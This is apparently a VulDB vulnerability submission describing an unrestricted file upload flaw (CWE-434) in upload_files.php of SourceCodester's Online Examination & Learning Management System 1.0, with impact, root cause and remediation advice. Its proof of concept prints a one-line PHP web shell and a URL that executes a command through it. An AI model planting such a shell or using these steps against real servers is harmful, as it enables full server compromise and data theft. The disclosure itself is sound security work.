Submeter #864385: SourceCodester Online Examination & Learning Management System 1.0 No

Title: Unrestricted File Upload Leading to Remote Code Execution in upload_files.php

A critical unrestricted file upload vulnerability exists in upload_files.php of the CICT Portal (Online Examination & Learning Management System). The upload functionality allows authenticated users with instructor or super_admin privileges to upload arbitrary files without proper validation of file extension, MIME type, or content.

Uploaded files are stored in a web-accessible directory (uploads/class_docs/) and can be executed directly by the web server. An attacker can upload a PHP web shell and achieve remote code execution on the target system.

**Affected File:** upload_files.php
**Upload Directory:** uploads/class_docs/
**Example Upload:** shell.php

**Proof of Concept:**
1. Login as an Instructor or Super Admin account.
2. Navigate to upload_files.php.
3. Upload a PHP file (e.g., shell.php) with the following content:
<?php system($_GET['cmd']); ?>
4. The system confirms: "FILE ARCHIVED SUCCESSFULLY"
5. Access the uploaded file: http://localhost/cictportal/uploads/class_docs/shell.php?cmd=id
6. Observe that the server executes the command and returns the output.

**Impact:**
- Remote Code Execution (RCE)
- Full server compromise
- Unauthorized access to sensitive data
- Database exfiltration
- Potential privilege escalation

**Root Cause:**
The application lacks file extension validation, MIME type verification, content inspection, and execution restrictions in the upload directory. Files are stored inside the web root, allowing direct execution.

**Remediation:**
- Restrict uploads to approved file types using a whitelist
- Validate MIME types server-side
- Store uploaded files outside the web root
- Disable PHP execution in upload directories using .htaccess
- Perform content validation before storage
- Rename uploaded files to random strings

**CWE:** CWE-434 - Unrestricted Upload of File with Dangerous Type
**OWASP:** A05:2025 - Security Misconfiguration

• Utilizador: Adnan (UID 96526)
• Submissão: 20/06/2026 09h23 (há 2 meses)
• Moderação: 06/08/2026 10h39 (2 months later)
• Estado: Aceite
• Entrada VulDB: 386534 [SourceCodester Online Examination & Learning Management System 1.0 upload_files.php Elevação de Privilégios]
• Pontos: 17